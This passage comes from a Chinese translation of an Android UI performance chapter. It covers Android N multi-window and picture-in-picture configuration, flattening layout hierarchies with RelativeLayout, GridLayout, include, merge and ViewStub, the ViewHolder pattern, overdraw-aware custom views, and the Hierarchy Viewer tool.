从用户的角度来看,这种方式可以在不离开当前屏幕和打开最近应用屏幕的情况下与多个应用或活动进行交互。位于屏幕中央的分割条可以移动以关闭分屏模式。这种行为适用于智能手机,而制造商可以在更大的设备中启用自由形态模式,让用户通过简单的滑动手势为两个活动选择合适的屏幕比例。也可以将对象从一个活动拖放到另一个活动。

在电视设备上,这是通过使用画中画模式实现的,如图图 7所示。在这种情况下,视频内容继续播放,而用户可以浏览应用程序。然后,视频活动仍然可见,但只占用屏幕的一小部分:它是位于屏幕右上角的 240 x 135 dp 窗口:

概览

图 7:Android N 画中画模式

由于窗口尺寸较小,活动应该只显示视频内容,避免显示其他任何内容。此外,要确保画中画窗口不会遮挡后台活动的内容。

现在我们来检查与典型的活动生命周期有何不同,以及系统如何同时处理屏幕上的两个活动。在多窗口模式激活时,最近使用的活动处于恢复状态,而另一个活动处于暂停状态。当用户与第二个活动交互时,这将进入恢复状态,而第一个活动将进入暂停状态。这就是为什么无需修改活动生命周期,在新 SDK 中状态与之前相同的原因。但请记住,在多窗口模式开启时,处于暂停状态的活动应继续不限制用户体验。

配置

开发者可以选择通过在应用程序的清单文件中添加新的属性来设置活动支持多窗口或画中画模式。这些新属性包括以下内容:

android:resizeableActivity=["true" | "false"]
android:supportsPictureInPicture=["true" | "false"]

它们的默认值为 true,因此如果我们应用的目标是支持 Android N 的多窗口或画中画模式,则无需指定它们。画中画模式被视为多窗口模式的一个特例:此时,只有当android:resizableActivity设置为true时,才会考虑其属性。

这些属性可以放在清单文件中的<activity><application>节点内,如下面的代码片段所示:

<activity
    android:name=".BuildingLayoutActivity"
    android:label="@string/app_name"
    android:resizeableActivity="true"
    android:supportsPictureInPicture="true"
    android:theme="@style/AppTheme.NoActionBar">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" 
        />
    </intent-filter>
</activity>

开发者还可以向清单文件中添加更多配置信息,以定义在这些特定新模式下的期望行为。为此,我们可以在<activity>节点中添加一个新节点,称为<layout>。这个新节点支持以下四个属性:

  • defaultWidth: 活动在自由形态模式下的默认宽度

  • defaultHeight:活动在自由形态模式下的默认高度

  • gravity: 活动在自由形态模式下首次放置在屏幕上时的对齐方式

  • minimalSize: 这指定了在分屏和自由形态模式下活动所需的最小高度或宽度

因此,清单文件内部的前一个活动声明变为以下内容:

<activity
    android:name=".MyActivity"
    android:label="@string/app_name"
    android:resizeableActivity="true"
    android:supportsPictureInPicture="true"
    android:theme="@style/AppTheme.NoActionBar">
    <layout
        android:defaultHeight="450dp"
        android:defaultWidth="550dp"
        android:gravity="top|end"
        android:minimalSize="400dp" />
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" 
        />
    </intent-filter>
</activity>

管理

新 SDK 为Activity类提供了新的方法,以了解是否启用了这些模式之一,以及处理不同状态之间的切换。这些方法如下所示:

  • Activity.isMultiWindow(): 这返回活动当前是否处于多窗口模式。

  • Activity.inPictureInPicture(): 这返回活动当前是否处于画中画模式。如前所述,这是多窗口模式的一个特例;因此,如果这返回true,则Activity.isMultiWindow()方法也会返回true

  • Activity.onMultiWindowChanged(): 这是一个新回调,当活动进入或离开多窗口模式时调用。

  • Activity.onPictureInPictureChanged(): 这是一个新回调,当活动进入或离开画中画模式时调用。

对于Fragment类,也定义了具有相同签名的这些方法,以向此组件提供同样的灵活性。

开发者也可以在这些特定模式下启动一个新活动。这可以通过使用专门为此目的添加的新意图标志来实现;这是Intent.FLAG_ACTIVITY_LAUNCH_TO_ADJACENT,它可以以下列方式使用:

Intent intent = new Intent();
intent.setClass(this, MyActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_LAUNCH_TO_ADJACENT);
// Other settings here...
startActivity(intent);

这种效果取决于屏幕上当前活动的状态:

  • 分屏模式激活:活动被创建并放置在旧活动旁边,它们共享屏幕。如果除了启用多窗口模式(还启用了自由形式模式),我们可以使用ActivityOptions.setLaunchBounds()方法为两个定义的尺寸或全屏(传递 null 对象而不是Rect对象)指定初始尺寸,如下所示:

    Intent intent = new Intent();
    intent.setClass(this, MyActivity. class);
    intent.setFlags(Intent.FLAG_ACTIVITY_LAUNCH_TO_ADJACENT);
    // Other settings here...
    Rect bounds = new Rect(500, 300, 100, 0);
    ActivityOptions options = ActivityOptions.makeBasic();
    options.setLaunchBounds(bounds);
    startActivity(intent, options.toBundle());
    
  • 分屏模式未激活:标志无效,活动以全屏方式打开。

拖放

如前所述,新的多窗口模式允许通过拖放功能在两个共享屏幕的活动之间传递视图。这是通过使用以下新方法实现的,这些方法是专门为这个功能而添加的。我们需要使用Activity.requestDropPermissions()方法请求开始拖放手势的权限,然后获取与想要传递的DragEvent相关的DropPermission对象。完成后,应调用View.startDragAndDrop()方法,并将View.DRAG_FLAG_GLOBAL标志作为参数传递,以启用多个应用程序之间的拖放功能。

性能影响

从性能的角度来看,这一切如何改变系统的行为?屏幕上暂停的活动与之前创建最终帧的过程相对应。考虑一个被对话框覆盖的可视活动:它仍然在屏幕上,当出现内存问题时系统不能杀死它。然而,在多窗口模式的情况下,如前所述,活动需要在与另一个活动交互之前继续它正在做的事情。因此,系统将不得不同时处理两个视图层次结构,这使得准备每一个单独的帧更加费力。如果我们计划启用这个新模式,那么在创建活动布局时,我们需要更加小心。因此,关注下一节最佳实践中表达的概念以及之后的一节将是非常好的。

最佳实践

我们将直接在代码中解释一些有用的方法,以尽可能限制应用程序滞后原因,探索如何减少我们视图的重叠绘制,如何简化我们的布局,以及如何提高用户体验——特别是常见情况,以及如何正确开发我们自己的自定义视图和布局,以构建高性能 UI。

提供的布局概览

每当调用Activity.setContentView(int layoutRes)方法或使用LayoutInflater对象膨胀视图时,相关的布局 XML 文件将被加载和解析,每个大写的 XML 节点对应一个View对象,系统必须实例化该对象,并且在整个ActivityFragment生命周期中,它将是 UI 层次结构的一部分。这影响了应用程序使用期间的内存分配。让我们来了解 Android 平台 UI 系统的关键概念。

如前所述,布局资源中每个大写的 XML 节点将根据其名称和属性进行实例化。ViewGroup类定义了一种特殊的视图,可以作为容器管理其他ViewViewGroup类,描述如何测量和定位子视图。因此,我们将把扩展了ViewGroup类的每个类都称为布局。Android 平台提供了不同的ViewGroup子类,供我们在布局中使用。以下是主要直接子类的简要概述,通常在构建布局 XML 资源文件时使用,仅解释它们如何管理嵌套视图:

  • LinearLayout:每个子元素在水平或垂直方向上紧邻之前添加的元素绘制,分别对应行或列。

  • RelativeLayout:每个子元素相对于其他兄弟视图或父视图定位。

  • FrameLayout:这用于封锁屏幕区域,以管理以最近添加的视图为顶部的视图堆栈。

  • AbsoluteLayout:在 API 级别 3 中已弃用,因为其灵活性较差。实际上,你必须为所有子元素提供确切的位置(通过指定所有子元素的xy坐标)。其唯一的直接子类是WebView

  • GridLayout:这会将子元素放置在网格中,因此其使用限于将子元素放入单元格的特定情况。

分层布局管理

让我们了解一下每次系统被要求绘制布局时会发生什么。这个过程由两个相继的从上到下的步骤组成:

  • 测量

    • 根布局测量自身

    • 根布局请求所有子元素进行自我测量

    • 任何子布局都需要对其子元素递归执行相同的操作,直到层次结构的末尾

  • 定位

    • 当布局中的所有视图都有自己的测量存储时,根布局定位其所有子元素

    • 任何子布局都需要对其子元素递归执行相同的操作,直到层次结构的末尾

每当更改View属性(例如ImageView的图像或TextView的文本或外观)时,视图本身会调用View.invalidate()方法,该方法从下到上传播其请求,直到根布局:前面的过程可能需要一次又一次地重复,因为视图需要再次测量自己(例如,仅为了更改文本)。这会影响绘制 UI 的加载时间。你的层次结构越复杂,UI 加载越慢。因此,尽可能开发扁平的布局非常重要。

虽然AbsoluteLayout不再使用,而FrameLayoutGridLayout有其特定的用途,但LinearLayoutRelativeLayout是可以互换的:这意味着开发者可以选择使用其中之一。但两者都有优缺点。当你开发如图8所示的简单布局时,你可以选择使用不同类型的方 法来构建布局。

分层布局管理

图 8:布局示例

  • 第一种基于LinearLayout,它有利于提高可读性,但性能不佳,因为每次需要对子视图进行方向定位更改时,你都需要嵌套LinearLayout

    <?xml version="1.0" encoding="utf-8"?>
    <LinearLayout 
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:orientation="vertical">
    
        <ImageView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_gravity="center_horizontal"
            android:src="img/ic_launcher" />
    
        <TextView
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_gravity="center_horizontal"
            android:text="TextView" />
    
        <LinearLayout
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:orientation="horizontal">
    
            <ImageButton
                android:id="@+id/imagebutton"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:src="@drawable/ 
                  common_ic_googleplayservices" />
            <Button
                android:layout_width="match_parent"
                android:layout_height="wrap_content"
                android:layout_weight="1"
                android:text="Button" />
        </LinearLayout>
    </LinearLayout>
    

    此布局的视图层次结构如图9所示:

    分层布局管理

    图 9:使用 LinearLayout 构建的视图层次结构示例

  • 第二种基于RelativeLayout,在这种情况下,你不需要嵌套任何其他ViewGroup,因为每个子视图的位置可以与其他视图或父视图相关:

    <?xml version="1.0" encoding="utf-8"?>
    <RelativeLayout 
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:orientation="vertical">
    
        <ImageView 
            android:id="@+id/imageview"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_centerHorizontal="true"
            android:src="img/ic_launcher" />
    
        <TextView 
            android:id="@+id/textview"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_below="@id/imageview"
            android:layout_centerHorizontal="true"
            android:text="TextView" />
    
        <ImageButton 
            android:id="@+id/imagebutton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_below="@id/textview"
            android:layout_weight="1"
            android:src="@drawable 
              /common_ic_googleplayservices" />
    
        <Button 
            android:id="@+id/button"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_alignParentRight="true"
            android:layout_below="@id/textview"
            android:layout_toRightOf="@id/imagebutton"
            android:text="Button" />
    </RelativeLayout>
    

    这个替代布局的层次结构如图10所示:

    分层布局管理

    图 10:使用 RelativeLayout 构建的视图层次结构示例

通过比较这两种方法,可以很容易看出,在第一种方法中有六个视图分布在三个层次级别中,而在第二种方法中,五个视图只分布在两个级别中。

通常的情况是采用混合方法,因为不可能总是相对于其他视图来定位视图。

注意

为了在创建各种布局时实现性能目标并避免过度绘制,视图层次结构应尽可能扁平,以便系统在需要时以最短的时间重新绘制每个视图。因此,建议在可能的情况下使用 RelativeLayout,而不是 LinearLayout。

在长期的应用开发过程中,一个常见的错误做法是在删除不再需要的视图后,在 XML 文件中留下多余的布局。这无谓地增加了视图层次结构的复杂性。正如在第二章高效调试以及本章后续页面中讨论的那样,通过使用 LINT 和层次结构查看器,可以方便地避免这一点。

不幸的是,最常用的 ViewGroup 是 LinearLayout,因为它相对简单易懂易管理。因此,新的 Android 开发者首先会接触它。出于这个原因,谷歌决定从 Android 4.0 冰淇淋三明治开始提供一个全新的 ViewGroup,如果使用得当,可以在处理网格时减少特定情况下的冗余。我们所说的是 GridLayout。显然,可以使用 LinearLayout 创建网格,但生成的布局至少有三层层次结构。也可以使用 RelativeLayout 仅两层层次结构创建,但生成的布局管理起来并不那么容易,视图之间的引用太多。GridLayout 只需定义自己的行和列以及单元格,就可以管理其空间。以下 XML 布局展示了如何使用 GridLayout 创建与 图 11 相同的布局:

层次布局管理

图 11:使用 GridLayout 构建视图层次结构示例

<?xml version="1.0" encoding="utf-8"?>
<GridLayout 
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:columnCount="2"
    android:orientation="vertical">

    <ImageView android:id="@+id/imageview"
        android:layout_columnSpan="2"
        android:layout_gravity="center_horizontal"
        android:src="img/ic_launcher" />

    <TextView android:id="@+id/textview"
        android:layout_columnSpan="2"
        android:layout_gravity="center_horizontal"
        android:text="TextView" />

    <ImageButton android:id="@+id/imagebutton"
        android:layout_column="0"
        android:layout_row="2"
        android:src="img/common_ic_googleplayservices" />

    <Button android:id="@+id/button"
        android:layout_column="1"
        android:layout_row="2"
        android:text="Button" />
</GridLayout>

可以注意到,如果你希望 android:layout_heightandroid:layout_width 标签属性为 LayoutParams.WRAP_CONTENT,则无需指定,因为这正是它们的默认值。GridLayoutLinearLayout 非常相似,因此从后者转换过来相当简单。

重用布局

Android SDK 提供了一个有用的标签,在特定情况下使用,当你想在其他布局中重用 UI 的一部分,或者当你想在不同的设备配置中只更改 UI 的这一部分时。这个 <include/> 标签允许你添加另一个布局文件,只需指定其引用 ID。如果你想重用上一个示例的头部,只需创建如下可重用布局 XML 文件:

<LinearLayout 
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:orientation="vertical">

    <ImageView android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center_horizontal"
        android:src="img/ic_launcher" />

    <TextView android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center_horizontal"
        android:text="TextView" />
</LinearLayout>

然后将 <include/> 标签放置在你希望它出现的布局中,替换导出的视图:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout 
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical">

    <include layout="@layout/merge_layout" />

    <LinearLayout
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:orientation="horizontal">

        <ImageButton
            android:id="@+id/imagebutton"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_below="@id/textview"
            android:src="img/common_ic_googleplayservices" />

        <Button
            android:layout_width="match_parent"
            android:layout_height="wrap_content"
            android:layout_weight="1"
            android:text="Button" />
    </LinearLayout>
</LinearLayout>

这样,你就不需要在不同的配置中为所有布局复制/粘贴相同的视图;你只需为所需配置定义 @layout/content_building_layout 文件,并且可以在每个需要的布局中这样做。但这样做,你可能会引入布局冗余,因为像前一个示例中那样将 ViewGroup 作为可重用布局的根节点。其视图层次结构与 图 9 相同,有三层和六个视图。这就是为什么 Android SDK 提供了另一个有用的标签 <merge />,它可以帮助移除冗余布局并保持更扁平的层次结构。只需用 <merge /> 标签替换可重用的根布局。可重用布局将变成以下这样:

<?xml version="1.0" encoding="utf-8"?>
<merge >

    <ImageView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center_horizontal"
        android:src="img/ic_launcher" />

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_gravity="center_horizontal"
        android:text="TextView" />
</merge>

这样,整个最终布局就具有两层层次结构,没有多余的布局,因为系统将 <merge /> 标签内的视图直接包含在其他视图内,替代 <include /> 标签。实际上,相应的布局层次结构与 图 10 中的相同。

在处理这个标签时,你需要记住它有两个主要限制:

  • 它只能作为 XML 布局文件中的根元素使用

  • 每次调用LayoutInflater.inflate()方法时,你必须提供一个视图作为父视图并附加到它:

    LayoutInflater.from(parent.getContext()).inflate(R.layout. merge_layout, parent, true);
    

ViewStub

ViewStub类可以作为布局层次结构中的节点添加,并指定一个布局引用,但在运行时使用ViewStub.inflate()View.setVisibility()方法加载其布局之前,不会为它绘制任何视图:

<ViewStub 
    android:id="@+id/viewstub"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content"
    android:layout_gravity="bottom"
    android:inflatedId="@+id/panel_import"
    android:layout="@layout/viewstub_layout" />

在运行时,以下方法被调用之前,ViewStub指向的布局不会被加载:

((ViewStub) findViewById(R.id.viewstub)).setVisibility(View.VISIBLE);
// or
View newView = ((ViewStub) findViewById(R.id.viewstub)).inflate();

加载的布局在层次结构中占据了ViewStub的位置,ViewStub不再可用。当以上方法之一调用后,ViewStub将无法再被访问;取而代之的是使用android:inflatedId属性中的 ID。

当你处理复杂的布局层次时,这个类特别有用,但你可以将某些视图的加载推迟到稍后的时间,并在需要时加载,从而减少首次加载时间并释放不必要的内存分配。

AdapterView和视图回收

有一个特殊的ViewGroup子类,它需要一个Adapter类来管理其所有子项:这个类被称为AdapterViewAdapterView的常见专用类型包括:

  • ListView

  • ExpandableListView

  • GridView

  • Gallery

  • Spinner

  • StackView

Adapter类负责定义AdapterView的子项数量,并在其Adapter.getView()方法中加载每一个子视图,而AdapterView定义了子项在屏幕上的位置以及如何响应用户交互。

平台根据开发者选择处理模型的方式,提供了不同的Adapter实现:

  • ArrayAdapter:用于将toString()方法的结果映射到每一行

  • CursorAdapter:用于处理数据库中的数据

  • SimpleAdapter:用于绑定复选框、文本视图和图像视图

这些控件都扩展了BaseAdapter,后者也广泛用于创建自定义适配器。以下是BaseAdapter实现的一个示例:

public class SampleObjectAdapter extends BaseAdapter {
    private SampleObject[] sampleObjects;

    public SampleObjectAdapter(SampleObject[] sampleObjects) {
        this.sampleObjects = sampleObjects;
    }

    @Override
    public int getCount() {
        return sampleObjects.length;
    }

    @Override
    public SampleObject getItem(int position) {
        return sampleObjects[position];
    }

    @Override
    public long getItemId(int position) {
        return position;
    }

    @Override
    public View getView(int position, View convertView, ViewGroup parent) {
// Non optimized code: this executionis slow and we want it to be
//faster
        convertView = LayoutInflater.from(parent.getContext()) .inflate(R.layout.adapter_sampleobject, parent, false);
        SampleObject sampleObject = getItem(position);
        ImageView icon = (ImageView) convertView.findViewById(R.id.icon);
        TextView title = (TextView) convertView.findViewById(R.id.title);
        TextView description = (TextView) convertView.findViewById(R.id.description);
        icon.setImageResource(sampleObject.getIcon());
        title.setText(sampleObject.getTitle());
        description.setText(sampleObject.getDescription());
        return convertView;
    }
}

每一行的布局描述如下:

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout 
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:orientation="horizontal">

    <ImageView android:id="@+id/icon"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content" />

    <TextView android:id="@+id/title"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_toRightOf="@id/icon" />

    <TextView android:id="@+id/description"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_below="@id/title"
        android:layout_toRightOf="@id/icon" />
</RelativeLayout>

要使用这个Adapter,只需按照以下方式将其设置到ListView中:

ListView listview = (ListView) findViewById(R.id.listview);
listview.setAdapter(new SampleObjectAdapter(sampleObjects));

这个控件最常见的用途就是用于ListView。让我们来了解一下用户滚动ListView时会发生什么;对于需要添加的每一个新行,都会调用Adapter.getView()方法。每次都会加载一个新的视图,并通过View.findViewById()方法引用行布局中的每一个视图。这些操作只能由主线程执行,因为它是唯一可以处理 UI 的线程。这会影响运行时的计算,经常导致滚动出现延迟,性能下降。此外,行布局层次的复杂性可能会加剧这种行为。

ViewHolder模式

为了避免在Adapter.getView()内部对View.findViewById()方法的计算密集型调用,使用ViewHolder设计模式是一个好习惯。

ViewHolder是一个静态类,其目的是存储布局组件视图,以便在后续调用时可用;相同的视图被重复使用,无需为布局中的每个视图调用View.findViewById()方法。

之前的SampleObjectAdapter如下所示:

@Override
public View getView(int position, View convertView, ViewGroup parent)
{
    SampleObjectViewHolder viewHolder;
    if (convertView == null) {
        convertView = LayoutInflater.from(parent.getContext()) .inflate(R.layout.adapter_sampleobject, parent, false);
        viewHolder = new SampleObjectViewHolder();
        viewHolder.icon = (ImageView) convertView.findViewById(R.id.icon);
        viewHolder.title = (TextView) convertView.findViewById(R.id.title);
        viewHolder.description = (TextView) convertView.findViewById(R.id.description);
        convertView.setTag(viewHolder);
    } else {
        viewHolder = (SampleObjectViewHolder) convertView.getTag();
    }
    SampleObject sampleObject = getItem(position);
    viewHolder.icon.setImageResource(sampleObject.getIcon());
    viewHolder.title.setText(sampleObject.getTitle());
    viewHolder.description.setText(sampleObject.getDescription());
    return convertView;
}

static class SampleObjectViewHolder {
    TextView title;
    TextView description;
    ImageView icon;
}

这是因为Adapter.getView()方法提供了一个旧的引用视图作为convertView参数,以便重复使用。而其神奇之处在于:当convertView为空时,会填充一个视图,并将每个包含的视图存储在ViewHolder对象中以便后续重用,同时将ViewHolder对象设置为刚刚初始化的convertView的标签。这样,当convertView不为空时,Adapter类会给我们提供相同的实例,以便我们可以从convertView中检索ViewHolder并使用其属性视图。

提示

在使用BaseAdapter时,强烈建议使用ViewHolder模式,以避免频繁调用View.findViewById()方法,这可能会影响运行时的计算。

模式的使用由开发者自行决定;多年来,新的 Android 开发者往往不使用它,导致 Android 平台性能因在滚动ListViewGridView时出现延迟而声誉不佳。这正是谷歌引入一个名为RecyclerView的新视图来创建列表和网格,并自行管理子视图回收的原因之一;它可以从 Android 2.1 Éclair 开始使用,因为它包含在支持包库 v7 中。在使用这个高度灵活的新对象时,开发者不能跳过使用ViewHolder对象。

在这两种情况下,使用正确的尺寸显示行布局中ImageView的占位图像,而不是其原始尺寸,以避免 CPU 和 GPU 处理,这通常会导致OutOfMemoryError

从计算的角度来看,这一模式还不足以创建一个流畅的应用程序;如前所述,只有主线程负责处理视图和 UI 交互。此外,每个处理任务都应该在工作线程中执行,以便主线程能够快速访问视图。关于这个话题,请阅读更多关于第五章,多线程的内容。

自定义视图和布局

在我们的 UI 应用开发中,我们经常遇到缺乏具有我们所需布局功能的视图,或者我们需要从头开始创建一个具有某些出色功能的视图。幸运的是,Android 平台允许我们开发各种类型的视图,以便构建所需的 UI。有很多自由度来做这件事,所以如果你在开发自定义视图时不够小心,你可能会损害内存和 GPU,造成灾难性的后果。根据我们目前所了解的内容,让我们了解在 Android 中视图是如何工作的,它是如何被测量和绘制的,以及如何优化这个过程。

尽管你可以根据需要为自定义视图添加尽可能多的属性来改善其外观,但最重要的是你如何在屏幕上绘制所有内容。有两种主要的方法可以实现这一点:

  • 你可以包装一个包含所有所需视图的布局,以得到一个可重用的对象,其中每个持有的视图都由视图层次结构处理。无需指定要绘制的内容以及如何绘制,只需使用所需视图的经典布局按需排列。

  • 你可以创建自己的视图,通过重写每次调用View.invalidate()方法使视图失效时执行的View.onDraw()方法,来指定要绘制的内容和方式。该方法通知系统视图需要重新绘制。

通过第二种方法,你将处理两个主要的绘图对象:

  • Canvas:这是用来绘制内容的对象。通过它,你可以指定绘制的内容;一个Canvas对象能够绘制的内容由其调用的方法决定。以下是主要的Canvas绘图方法:

    • drawARGB()

    • drawArc()

    • drawBitmap()

    • drawCircle()

    • drawColor()

    • drawLine()

    • drawOval()

    • drawPaint()

    • drawPath()

    • drawPicture()

    • drawPoints()

    • drawRect()

    • drawText()

  • Paint:这是用来告诉Canvas如何绘制即将绘制的内容的对象。以下是用来改变对象属性的某些Paint方法:

    • setARGB()

    • setAlpha()

    • setColor()

    • setLetterSpacing()

    • setShader()

    • setStrikeThruText()

    • setTextAlign()

    • setTextSize()

    • setTypeFace()

    • setUnderlineText()

当你重写View.onDraw()方法时,你将需要使用作为方法参数提供的Canvas对象,让你的绘图显示在屏幕上(或视图边界内)。用于自定义绘图的Paint对象需要单独处理。

每个视图都需要能够被添加到ViewGroups中,这些ViewGroups负责在测量它们后放置其子视图。然后,告诉父视图视图大小的方法是View.onMeasure()。在自定义视图开发中,这是一个关键步骤,因为每个视图都必须有自己的宽度和高度;实际上,如果在View.onMeasure()中忘记调用View.setMeasuredDimension(),会导致抛出异常。

每当视图因为边界改变或需要比之前更多或更少的空间而需要重新测量时,你需要调用View.requestLayout()方法:它不是仅使视图本身无效,而是要求父视图重新计算所有子视图的位置并重新绘制它们。这相当于使整个视图层次结构无效。如前所述,这可能会非常昂贵,应尽可能避免。

幸亏平台的强大功能,自定义视图的创建可以带来非常有趣的结果,但所有这些自由都必须受到控制和衡量。检查视图的定时,通过查看仅包含视图的布局中的 GPU 性能,然后在一个更广泛的背景下,控制它在与其他视图一起时的行为,这是一种好习惯。

了解这一点后,让我们识别和分类开发者在开发自定义视图时可能犯的性能错误:

  • 在不需要时刷新视图绘制

  • 绘制不可见的像素:这是我们之前所说的过度绘制。

  • 在绘制过程中通过进行不必要的操作消耗内存资源

每一个都可能导致 GPU 无法达到 60 FPS 的目标。让我们更深入地探讨它们:

  • 视图无效化是新手广泛使用的方法,因为这是在任何时候刷新和更新视图的最快方式。

    提示

    在开发自定义视图时,要小心不要调用那些会导致整个层次结构一次又一次重新绘制的非必要方法,这会消耗宝贵的帧绘制周期。一定要检查View.invalidate()View.requestLayout()的调用时机和位置,因为这可能会影响整个 UI,减慢 GPU 和其帧率。

  • 为了在自定义视图中避免过度绘制,你可以使用 Canvas API,它允许你只绘制自定义视图的所需部分。在设计堆叠视图或其他具有重叠部分的视图时,这会非常有帮助。我们指的是Canvas.clipRect()方法。例如,如果你的视图需要在屏幕上绘制多个重叠对象,我们的目标是要正确剪辑每个视图以避免不必要的过度绘制,只绘制每个对象的可见部分。

    例如,图 12 显示了一个堆叠视图,其中重叠的卡片不需要完全绘制:

    自定义视图和布局

    图 12:具有重叠部分的自定义视图示例

    下面的代码片段展示了如何避免过度绘制:

    @Override
    protected void onDraw(Canvas canvas) {
        super.onDraw(canvas);
        for (int i = 0; i < cards.length; i++) {
    
            // Calculate the horizontal position of the beginning 
            // of the card
            left = calculateHorizontalSpacing(i, cards[i]);
    
            // Calculate the vertical position of the beginning of 
            // the card
            top = calculateVerticalSpacing(i, cards[i]);
    
            // Save the canvas
            canvas.save();
    
            // Specify what is the area to be drawn
            canvas.clipRect(left, top, visibleWidth, visibleHeight);
    
            // Draw the card: only the selected portion of the view // will be drawn
            drawCard(canvas, cards[i], left, top);
    
            //Resore the canvas to go on
            canvas.restore();
        }
    }
    
  • 在我们的View.onDraw()方法实现中,我们不应该在任何由View.onDraw()调用的方法中放置任何分配。这是因为,当在该方法内部进行分配时,需要创建并初始化对象。然后,当View.onDraw()的执行结束时,垃圾回收器会释放内存,因为没有人在使用它。此外,如果视图是动画的,视图每秒会重绘 60 次。因此,避免在View.onDraw()方法中进行分配的重要性。

    提示

    不要在View.onDraw()方法(或由它调用的其他方法)内部分配对象,以免增加此方法的执行负担,该方法在视图生命周期内可能会被多次调用;垃圾回收器可能会频繁释放内存,导致卡顿。更好的做法是在视图首次创建时实例化它们。

屏幕缩放

新的 Android N 预览版引入了一项特殊功能,如果我们不遵循之前介绍的最佳实践,可能会对我们的应用程序造成压力。我们所说的是显示大小,它可以在设备的设置中的辅助功能部分进行更改,如图图 13所示:

屏幕缩放

图 13:辅助功能中的显示大小设置

当用户更改设置时,会显示预览,看起来像图 14

屏幕缩放

图 14:默认和最大尺寸的显示大小更改效果

现在我们快速了解一下用户在设备上设置此新功能时会发生什么。如果应用程序以新的 Android N 版本为目标进行编译,那么应用程序进程将通过典型的运行时更改框架得到通知。否则,所有进程将被杀死,活动将被重新创建,就像改变方向时一样。但这次重建会使用不同的屏幕宽度,以 dp 表示。因此,我们应该测试这个特定的用例,以确保我们的应用程序性能不受此新功能的影响。

这是我们不使用 px 测量单位,而选择更合适的 dp 单位的进一步原因。

此外,如第六章网络通信中所解释,我们应该改变应用程序的任何与密度相关的行为,比如图像格式缓存或对后端的服务请求。

调试工具

现在我们知道了创建灵活高效 UI 背后的问题以及如何解决它们。但是,我们如何知道我们做得好不好呢?此外,我们如何衡量我们辛勤工作的输出质量?让我们了解你可以使用各种工具来衡量我们的产品,同时发现并解决其他问题,以提高应用程序在整个生命周期内的性能。

设计视图

在开发过程中,创建 XML 布局文件是一个被低估的活动:如果在开发阶段布局设计得当,应用程序无需特别努力就能提升性能。在编写 XML 文件时,IDE 允许我们在布局编辑器中以预览模式查看我们所设计的内容。这包括文本设计视图,如图15所示:

设计视图

图 15:设计视图

设计视图包含一个名为组件树的特殊视图,它在我们构建视图层次时显示该层次。在图 16中,层次视图与图 19中的相同。这是一种实用的视觉方法,用于评估我们布局的深度:

设计视图

图 16:设计视图中的视图层次预览

如本章所讨论,我们的目标是扁平化层次深度,以限制计算并加速创建要在屏幕上尽可能快显示的视图。

注意

设计视图是在开发过程中限制层次深度的正确工具;如果在分析和开发过程中注意细节,我们可以显著减少恢复应用程序丢失性能所需的工作量。

层次查看器

分析视图层次、调试 UI 以及分析布局的主要工具是层次查看器。它位于 Android 设备监视器中,提供了一个完整的可视化工具。如图17所示,该工具包含许多视图,帮助我们分析 UI:

层次查看器

图 17:层次查看器

树状视图

中间面板包含带有视图层次结构缩放部分的树状视图。每个视图可以被选中,以打开与所选视图以及所有层次结构中较低视图相关的详细信息:

  • 包含的视图数量

  • 测量时间

  • 布局时间

  • 绘制时间

这意味着树状视图最左边的视图告诉我们整个 UI 创建过程所需的时间,因为它是我们布局的根。这是必须始终考虑的参数;正如前几页所讨论的,我们的目标是保持这个值低于 16 毫秒。图 18展示了一个选中了ImageView树状视图示例:

树状视图

图 18:层次查看器中的树状视图

提示

每次测试过程都应检查布局创建时间。测量、布局和绘制步骤最多需要在 16.67 毫秒内完成。层次查看器中的树状视图可以帮助我们测量这些时间。

使用树状视图,我们布局的深度非常直观:这有助于我们了解在活动布局中过度设计的地方以及可能不小心添加的过度绘制。

视图属性

左侧面板包含两个视图:

  • 窗口:在这里,你可以找到所有已连接设备和模拟器的列表以及所有可调试进程的子列表,选中的进程以粗体显示。可以选择其中一个,点击图标后,相关的视图将加载到树视图中,整个面板切换到视图属性

  • 视图属性:这包含了一系列用于调试视图的视图属性:视图属性

    图 19:层次查看器内的视图属性

树状图概览

在 Android 设备监视器的右侧,树状图概览显示了整个视图层次结构,而树视图中放大的部分被灰色处理以突出显示。这个视图向我们展示了我们构建的视图层次结构的复杂性。看图 20以了解树状图概览的外观:

树状图概览

图 20:层次查看器内的树状图概览

布局视图

树状图概览下方,有一个名为布局视图的视图,它显示了模拟设备屏幕上显示的布局中每个视图所覆盖的区域,这样你可以在树视图中选择一个特定的视图,简化在布局中查找单个视图的过程。图 21展示了本章示例所用的布局视图

布局视图

图 21:层次查看器内的布局视图

设备工具

